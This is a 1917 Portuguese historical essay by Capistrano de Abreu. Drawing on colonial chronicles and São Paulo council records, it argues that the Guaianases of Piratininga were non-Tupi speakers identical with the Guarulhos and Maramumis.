Os Caminhos Antigos e o Povoamento do Brasil
Capistrano de Abreu
GUAIANASES DE PIRATININGA*
Os índios encontrados
pelos colonos europeus que primeiro transpuseram a serra de onde se avista o mar e
se estabeleceram nos campos corridos pelo
Tietê, são geralmente conhecidos pelo nome de Guaianases, na fé de Pedro
Taques, Gaspar da Madre de Deus e seus epígonos.
Submetendo à crítica as diversas narrativas,
cuja florescência gradual definiu Cândido
Mendes de Almeida, alguém rompeu a unanimidade: os Guaianases, sugeriu,
falavam idioma diferente do tupi; não podiam ser guaianases Tibiriçá, Piquerobi
e seus comarcãos.
A
sugestão foi vista com pouco favor em São Paulo; nas revistas do Museu e do Instituto Histórico apareceram artigos combatendo-a;
a contribuição mais recente deve-se ao Dr. Afonso de Freitas, monografia
erudita e conscienciosa, suculenta síntese de todos os argumentos que reforçam
a opinião tradicional.
Começa
Afonso de Freitas dizendo que a palavra guainá pertence ao tupi-guarani,
e a propósito ventila numerosos pontos sobre os quais o autor destas linhas
não pretende, nem mesmo deseja competência. Que a palavra pertença ao abanheenga
ou neengatu é natural; com ela designavam os que não falavam esta língua,
assegura Ruy Diaz de Guzman, autor da Argentina. Designando-os por um
vocábulo seu não fizeram mais que nós brasileiros, desperdiçando o nome dos
Coroados desde Mato Grosso e Piauí até Rio Grande do Sul.
Os nomes das localidades de Piratininga não podiam ser dados
senão por faladores da linha geral. Sem dúvida; mas se não era esta a língua
dos Guaianases, como poderia provir deles a toponímia
piratiningana?
Posto nestes termos o debate pode
eternizar-se estéril; cumpre descobrir o meio de feri-lo por outro lado, e
felizmente existe.
* Artigo publicado
no "Jornal do Commercio", de 25 de janeiro de 1 917.
De Guaianases trata Gabriel Soares de Sousa em seu Tratado descritivo do Brasil, concluído em 1587, e Anthony Knivet na
pungente história de sua viagem e cativeiro, impressa desde 1 625 nos Pilgrimages
de Samuel Purchas. O senhor de engenho baiano é a todos os respeitos
superior ao perseguido inglês; mas desde que aportou à Bahia lá permaneceu até
sua partida para o Reino, tão desastrosa para seus negócios como auspiciosa
para nós, pois em seus longos lazeres promovidos por seus múltiplos
requerimentos complicados, não coordenaria as copiosas notícias colhidas em
dezessete anos de residência. Assim em mais de uma página traduz apenas impressões
indiretas, informações mais ou menos exatas. Knivet percorreu uma e mais
vezes os lugares de que fala; e de suas palavras nem sempre claras, não raro
incoerentes, sacou Theodoro Sampaio um itinerário aproximado, com a penetração
e sagacidade que lhe garante lugar de destaque entre os conhecedores da
história e da geografia do Brasil.
Para a hipótese, as divergências entre Gabriel
Soares e Anthony Knivet pouco valem: concordam no essencial: os Guaianases não
falavam o tupi, os Guaianases moravam na ilha Grande, no mediterrâneo dos Reis
e adjacências.
Os índios muitas vezes, além do nome que se designavam,
sofriam outro que lhes davam seus vizinhos. Aos indígenas do Rio
chamavam-se Tamoios em S. Paulo; aqui na Bahia, Thevet e Léry só conheciam
Tupinambás. Mesmo na culta Europa ocorrem casos semelhantes ainda hoje.
Procurando nas cercanias da ilha Grande índios
estranhos à língua geral, encontramos os Guaramumis, e não é temerário avançar
que a si mesmos se chamavam assim os Guaianases de Knivet e Gabriel Soares.
Com o
auxílio de um escravo que sabia bem a língua, em quinze dias que com ele tratou
fez um pedaço de vocabulário e parte da gramática o venerável José de
Anchieta. "Os Mara mumis têm língua boa e fácil de aprender",
informa Simão de Vasconcellos; mas Anchieta obrigado por outros deveres, passou
o encargo ao seu confrade Manoel Viegas que fortemente se empenhou na missão:
"andava atrás deles pelos matos, capões e praias todo em seu remédio; mas
como estes Maramumis não ,se aquietam em seu lugar, e seu viver é sempre pelos
matos à caça, ao mel e às frutas, dificultava isto muito a esperança de sua
conversão. Ele contudo a todos resistia… e assim aos poucos foi
domesticando, e fêz fazer assento em um lugar e aldeia em que até hoje habitam
todos juntos; é a aldeia a que chamam Nossa Senhora da
Conceição". (Vida de João de Almeida, 74/76). A aldeia
desapareceu; o nome de Guarulhos persiste e é bem conhecido.
Os
cronistas referem-se a estes como habitantes de beira-mar. Knivet, porém,
diz que da ilha Grande subiam a serra do Mar a buscar
escravos quando lhes encomendavam. A afirmação comprova-se pela. existência da estrada do Facão, em cuja margem demora a
cidade do Cunha, estrada que precedeu a invasão portuguesa.
Assim Maramumis e Cuarulhos, isto é, os
Guaianases de Gabriel Soares e Knivet ocupavam o litoral e chegavam ao alto
Paraíba. Transporiam também a Mantiqueira? De gargantas que permitissem
passagem não havia falta, como se verá da seguinte nota, bondosamente
fornecida pelo Dr. Gentil Moura:
"Na
região de Piracaia (antiga cidade de Santo Antônio da Cachoeira), há as
gargantas dos rios Cachoeira e Muquém, afluentes do rio Atibaia, e situadas
entre os morros do Lopo e a pedra do Selado. Fronteiras a Jacareí há as
gargantas do rio do Peixe e do rio das Cobras, afluentes do Paraíba, e situadas
ao Sul da pedra do Selado. Fronteiras a S. José dos Campos, há as gargantas do
rio Buquira. Fronteira a Pindamonhangaba, e entre os morros de Itapeva e Pico
Agudo, há a garganta de Piracuama; a partir de Jacareí, as gargantas convergem
para a região mineira chamada Sapucaí, (S. José do Paraíso, Santana do Sapucaí
etc). Fronteiras a Guaratinguetá há as gargantas de Piajuí e Guaratinguetá;
fronteira à Lorena, a do Piquete e e fronteira à Cachoeira (Bocaina), há a
garganta de Embaú, onde se fez a entrada para as Minas Gerais, ganhando o vale
de Passa Vinte, depois da travessia da serra."
Se recordarmos que os Guaianases-Guarulhos-Maramumis
freqüentavam as estradas de Facão e Passa Vinte, antes dos Bandeirantes para lá
terem dirigido suas hordas, teremos uma idéia de seu papel histórico: antes de
Garcia Rodrigues haver desbravado o Paraibuna e transposto a balança das águas
entre o Paraíba e Guanabara, não podia, quem do rio quisesse ir aos descobertos
auríferos, tomar caminho diferente.
Outro caminho, de alcance menor, aliás, liga-se
ainda a estes índios, mostrando como atravessaram uma garganta da Mantiqueira,
no século XVII.
Atesta-o o
volume 6-A, das "Atas da Câmara da Vila de S. Paulo", importante
publicação com que o Dr. Washington Luís, benemérito Prefeito da Paulicéia,
ainda mais realça seu consulado.
A 3 de julho de 1 625, soube-se em Câmara que o
padre Mateus Nunes de Siqueira havia descido do sertão quantidade de gentio
guarulho que desejava ser batizado, e já estava estabelecido na paragem
chamada Atubaia. Os vereadores resolveram que se tomasse conta do gentio e se
lhe formasse aldeia no mesmo sítio aonde estavam, porque assim conduziriam os
mais que no sertão estavam (págs. 428/429).
A 22 de novembro do ano seguinte, Antônio
Ribeiro, de Lima requereu que mandassem dois oficiais de justiça que fossem a
Atubaía, a ver se estavam os índios Goaramimis na paragem donde tomaram deles
lista o ano passado, para deles tomar posse em nome de Sua Majestade, o que até
agora não fizeram por constar ser gente andante e não assistirem em parte certa
(pág. 208).
A 5 de maio de 1 669, o procurador da Câmara
denunciou o fato de se estar esvaziando a antiga aldeia de N. S. da Conceição,
da qual os Guarulhos fogem para Cajusara ou Atubaía.
A 13, o procurador lembra que se escreva ao Padre
capuchinho, frei Gabriel, que está em Atubaia, não consinta lá os índios e
índias guarulhos de Sua Majestade, e se não que os mande para suas aldeias
antigas da vila.
A 25 lembra o procurador que se mande notificar
ao Padre Frei Gabriel, Capuchinho barbado, que logo despeje a terra e sítio
onde está, em Atubaia, porquanto amotina os índios Guarulhos que estavam
situados na aldeia de Nossa Senhora da Conceição. (Atas VI, 16 e seg.)
Outras citações poderiam ser aduzidas: estas
bastam para o caso presente, isto é, que os Guaianases-Maramumis-Guarulhos
transpuseram uma garganta da Mantiqueira, provavelmente a primeira da lista de
Gentil Moura, na segunda metade do século XVII.
A que grupo maior se filiavam? Afonso de Freitas lembra-me,
aliás sem malícia, uma afirmação antiga, de que os Guaianases são idênticos aos
atuais Cãicangs, de S. Paulo e Paraná. Naquele tempo a etnografia brasileira
estava toda, e quase toda, continua ainda, sob o signo de Carlos von Steinen e
Paulo Ehrenreich, que deram uma área exagerada ao grupo Gé de Martius; o
discípulo mal aproveitado e bisonho, reincidiu no erro dos mestres. Depois da
demonstração de Telêmaco Borba resta de tudo, quando muito, motivo para um ato
de contrição.
Os confrades dos Guaianases devem procurar-se,
senão no atual São Paulo onde os Xavantes podem ser seus afins, a não serem
antes Guaicurus, como quer parecer, devem ser procurados em Minas e Espírito
Santo, onde ainda devem existir; do Rio já se sumiram. Trabalhar com índios
nem é fácil nem agradável; mas também não é das maiores áf ricas: urge fazê-lo.
A imagem provável dos
Guaianases-Guarulhos-Maramumis pré-cabralinos, é de vasto grupo distribuído
pelo litoral, por uma e outra aba da cordilheira marítima e da Mantiqueira,
estendendo-se para o Norte até o rio Jequitinhonha, talvez; as incursões de Tupinambás,
Tupiniquins, Goitacases, Aimorés, produziram largos rombos sem destruir a
trama. No baixo, como no alto Paraíba, sua presença persistiu até que a
mestiçagem, as epidemias e perseguições e caçadas os dissolvessem. Não há
motivo para duvidar que os Guarulhos de Muriaé sejam idênticos aos que
catequizaram Manoel Viegas e Mateus Nunes de Siqueira.
Para o Norte deviam
limitar-se, antes dos invasores da língua geral, com os Cariris, cuja área
geográfica cresce a olhos vistos, à medida que surgem novos documentos ou com
mais cuidado se investigam os antigos. Se entre os dois grupos vizinhos
existem quaisquer relações mais estreitas, provavelmente nunca se apurará, pois
os Cariris parecem totalmente extintos.
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